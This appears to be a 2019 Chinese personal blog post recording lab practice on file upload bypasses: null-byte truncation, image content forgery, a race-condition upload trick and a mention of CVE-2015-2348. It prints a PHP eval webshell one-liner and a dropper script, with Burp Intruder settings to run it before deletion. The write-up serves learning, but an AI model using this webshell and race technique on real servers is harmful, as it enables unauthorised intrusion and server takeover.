大哥带我走渗透6(下)---文件上传

---恢复内容开始---

0x01 %00

  • get类型%00截断绕过

吃了一个半小时午饭的小赵现在正式上线。。我的博客好造孽哦,天天要记录我的龟速学习状态还要听我唠叨我的苦逼生活。anyway,一切的一切都是为了向“钱”。

1.先收集资料,根据下面的提示得出,这里是白名单。

 

  •  post类型%00截断绕过

POST这里需要修改路径,在路径后面需要空格,然后还要修改一下hex(空格处)的值为00,记住,这次就不要在repeater里面改了,直接在proxy里面改就好了

【图片是复制金总的,我的找不到了】

OK,成功~

  • get VS. post

1.get:改URL???反正我是昏掉了,,我是没有改成功===也貌似成功了一次??

2.post:改路径,将路径拼接到上传的文件路径中,凑成一个有php的路径。

0x02 图片内容伪造

cmd的copy命令

0x03 竞争条件绕过上传

1.了解概念:

竞争条件原理介绍
网站逻辑:

  • 网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
  • 网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。在删除之前访问上传的php文件,从而执行上传文件中的php代码。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["team"])?>');?> 

 2.思路分析

那我们可以上传一个脚本,在删除之前访问他,然后脚本内容是执行以后就可以生成副本。删除的是上传的,但是本地生成的不会被删除啊。参考:https://www.jianshu.com/p/09d0eb938e6a

 3.最后的操作是:

上传我们的sc.php,内容为:

<?php
$myfile = fopen("zwj.php", "w");
$txt = "<?php phpinfo();?>";
fwrite($myfile, $txt);
fclose($myfile);
?>

 

和上面的代码的作用一样,只是内容不一样,显示的是php的版本。我们将$txt的内容改成一句话木马,连接上传的sc.php,一旦sc.php运行,那么将生成zwj.php文件,我们在连菜刀的时候连我们的zwj.php就行了。但是我们要怎么让具有删除功能的服务器,运行我们的sc.php,产生我们的zwj.php呢

4.通过burp的intruder功能

  • 上传过程中,抓包发到intruder,发送3000个包,选择null无字典,设置100个线程,开始attack;然后一直刷新upload/sc.php 
  • 使用intruder,相同设置,但是有2个attack。一个是原网站,一个是upload/ac.php  千万不要把第二个搞错了。

 

0x04 CVE-2015-2348绕过上传

 1.了解原理

php任意文件上传漏洞

 

再看一下大哥的网页提示,提到了一个move_uploaded_file()函数。

  • move_uploaded_file():函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。

 【这个我是真的做不出来】

 0x05 总结

  • 看来暑假真的需要努力了,php和Python。。。要不然真的死无葬生之地了。。。。
  • 写东西利索一点,不要拖拖拉拉。。。

 

posted @ 2019-06-16 01:09  这醋好甜  阅读(316)  评论(0编辑  收藏  举报